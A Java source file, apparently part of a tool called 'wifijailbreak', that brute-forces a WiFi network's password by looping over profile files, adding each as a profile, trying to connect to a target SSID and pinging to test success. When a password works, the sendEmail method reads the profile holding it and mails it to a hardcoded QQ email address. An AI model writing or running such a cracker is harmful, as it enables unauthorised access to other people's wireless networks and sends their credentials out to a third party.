package com.example.wifijailbreak.conn;

import cn.hutool.core.collection.CollUtil;
import cn.hutool.core.io.FileUtil;
import cn.hutool.extra.mail.MailUtil;
import com.example.wifijailbreak.cmd.WifiWlanCommand;
import com.example.wifijailbreak.config.WifiProfile;
import org.apache.commons.lang3.StringUtils;

import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.List;
import java.util.stream.Collectors;


public class WifiPassWordCheck extends WifiCollisionProcessing<String> {

    @Override
    public void handler(String ssid) {
        try {
            File pwdFileDir = new File(WifiProfile.WIFI_PROFILE_PATH);
            File[] pwdFiles = pwdFileDir.listFiles();
            for (File pwdFile : pwdFiles) {
                String profileName = pwdFile.getName();
                try {
                    String profileCmd = String.format(WifiWlanCommand.ADD_PROFILE, profileName);
                    Process profile = Runtime.getRuntime().exec(profileCmd, null, new File(WifiProfile.WIFI_PROFILE_PATH));
                    String profileResult = cmdExecuteResult(profile);
                    Thread.sleep(500);
                    System.out.println("profileCmd: " + profileResult + " - " + profileName);

                    String connCmd = String.format(WifiWlanCommand.CONNECT, ssid);
                    Process conn = Runtime.getRuntime().exec(connCmd);
                    String connResult = cmdExecuteResult(conn);
                    Thread.sleep(1500);
                    System.out.println("connCmd: " + connResult + " - " + profileName);
                    String pingCmd = String.format(WifiWlanCommand.PING);
                    Process ping = Runtime.getRuntime().exec(pingCmd);
                    String pingResult = cmdExecuteResult(ping);
                    if (StringUtils.contains(pingResult, "来自")) {
                        sendEmail(profileName);
                        throw new Exception("密码碰撞成功" + profileName);
                    } else {
                        FileUtil.del(WifiProfile.WIFI_PROFILE_PATH + profileName);
                    }
                    System.out.println("pingCmd: " + pingResult);
                } catch (Exception e) {
                    throw new RuntimeException(e.getMessage(), e);
                }
            }
        } catch (Exception e) {
            System.out.println("wifi 碰撞测试异常:" + e.getMessage());
        }
    }

    private void sendEmail(String profileName) {
        String pwdProfile = FileUtil.readString(WifiProfile.WIFI_PROFILE_PATH + profileName, StandardCharsets.UTF_8);
        MailUtil.send(CollUtil.newArrayList("391206012@qq.com"), "密码碰撞成功", pwdProfile, false);
    }

    private String cmdExecuteResult(Process process) throws IOException {
        List<String> result = new ArrayList<>();
        BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk"));
        String line = null;
        while ((line = bReader.readLine()) != null) {
            result.add(line);
        }
        return result.isEmpty() ? StringUtils.EMPTY : result.stream().collect(Collectors.joining());
    }
}
